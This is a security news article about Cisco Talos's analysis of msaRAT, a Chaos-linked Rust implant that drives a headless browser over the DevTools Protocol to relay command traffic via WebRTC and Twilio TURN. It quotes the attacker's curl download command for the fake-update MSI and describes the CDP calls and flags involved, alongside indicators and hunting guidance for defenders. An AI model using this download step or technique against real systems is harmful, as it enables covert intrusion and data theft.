"All external communications are observed as originating from a legitimate browser process," Cisco Talos wrote — and msaRAT's design makes that literal.
How Chaos's msaRAT hijacks a victim's browser
Cisco Talos detailed a Rust implant it calls msaRAT that, once present on a compromised Windows host, never opens an outbound socket itself. Instead the implant binds only to 127.0.0.1 and launches Chrome or Edge in headless mode with --headless=new, --remote-debugging-port, and a separate --user-data-dir. msaRAT uses the Chrome DevTools Protocol (CDP): it queries /json/list/ for a debuggable target, connects to the returned WebSocket, creates a tab, disables Content Security Policy with Page.setBypassCSP, registers five callbacks via Runtime.addBinding, and injects plaintext JavaScript held in the binary's .rdata section with Runtime.evaluate.
Talos identified callback names — msaOpen, msaClose, msaError, msaMessage — that contributed to the malware's name; the implant also registers dataAck. The injected JavaScript implements the WebRTC peer and signaling logic that moves the command-and-control channel out of the host and into the browser's network stack.
Cloudflare Workers for signaling and Twilio TURN for transport
The signaling path begins with STUN/TURN configuration fetched from a Cloudflare Worker at is-01-ast[.]ols-img-12[.]workers[.]dev, with Origin and Referer headers masquerading as Microsoft traffic. The Worker returns an SDP answer that carries no ICE candidates and an address of 0.0.0.0, forcing all media and data to relay through Twilio's TURN service at global.turn.twilio.com. Once the WebRTC data channel is established, the Worker exits the path and Twilio relays the channel.
Traffic on that channel is double-encrypted: DTLS handled by the browser and an inner ChaCha-Poly1305 scheme keyed by an ECDH exchange that the implant begins decrypting after receiving a 0xFE handshake frame from the C2. Inside that encrypted channel, command frames are handed to cmd.exe /e:ON /v:OFF /d /c <cmd> for execution; Talos notes the send queue and flow-control behavior appears designed to move large payloads such as screenshots or files.
Delivery: a curl download, a fake update MSI, and an in-memory DLL
Talos observed msaRAT arriving after the attacker already had execution and prior to an encryptor running. The implant was retrieved with a single curl command recorded in the analysis:
- curl.exe https://172.86.126[.]18:443/update_ms.msi -o C:\programdata\update_ms.msi
The download uses port 443 over plain HTTP-style access to an IP address, which the report flags as passing through firewall rules that only inspect port numbers. The MSI poses as a Windows update; a custom action at the end of the installer loads an embedded DLL directly into memory. That DLL is msaRAT, written in Rust on the Tokio async runtime and exporting a function named RUN for the installer to invoke.
Detection signals and Talos hunting guidance
Because msaRAT relies on an available browser and CDP rather than a browser vulnerability, there is no browser patch to eliminate the technique. Talos recommends hunting for process behavior: specifically, Chrome or Edge instances launched by an installer, service, or other non-interactive parent with --headless=new and --remote-debugging-port present; loopback traffic to the debugging port correlated with outbound WebRTC; and, where CDP is captured, the presence of Runtime.addBinding and Runtime.evaluate usage.
Talos also published narrow indicators: the staging IP and the Cloudflare Worker hostname are in its IOC repository, and it lists detection names and rules including ClamAV: Win.Downloader.ChaosRaas-10060321-0 and Snort rules 1:66839, 1:66840, 1:66841 (Snort 2) and 1:66839, 1:301587 (Snort 3). Talos cautions that workers.dev is a shared Cloudflare domain and Twilio's TURN service is a legitimate relay used by real WebRTC applications, so blocking those services broadly will break legitimate traffic and may not be practical.
What this means for technologists, procurement leaders, and end users
- Technologists and security teams: look for executable parents launching headless browsers with remote debugging enabled, correlate loopback CDP traffic with outbound WebRTC, and tune alerts around Runtime.addBinding and Runtime.evaluate events where CDP telemetry exists.
- Affected enterprises and procurement leaders: note that blocking workers.dev or Twilio TURN at the organization level will disrupt legitimate WebRTC-dependent services; detection will need to be behavioral rather than purely network-blocking.
- End users and administrators: the observed delivery — a curl download, a fake Windows update MSI, and an in-memory DLL load — is unremarkable in isolation; the change is that the C2 now rides inside a headless browser process, making traditional network attribution harder.
Praetorian and Sansec's prior work — Praetorian showing TURN infrastructure carrying full C2 channels in August 2025 and Sansec finding a WebRTC-based skimmer in March 2026 — are cited by Talos to show the transport techniques are known, but msaRAT packages them into a Chaos-linked Rust implant that drives a headless browser through CDP. Talos frames this as tradecraft: the indicators it published are useful but narrow, and the Worker and TURN credentials used in these instances can be swapped out.
msaRAT is not a vulnerability in Chrome or Edge so much as an escalation of post-compromise tactics. Defenders who can see parentage and CDP activity will have the clearest signal; those who rely only on outbound IP or domain blocking will find the channel looks like routine Cloudflare and Twilio traffic. The immediate, concrete question left by Talos's findings is operational: can detection teams instrument CDP activity and non-interactive headless browser launches at scale before attackers swap signaling and relay endpoints again?
https://thehackernews.com/2026/07/chaos-ransomware-uses-msarat-to-route.html
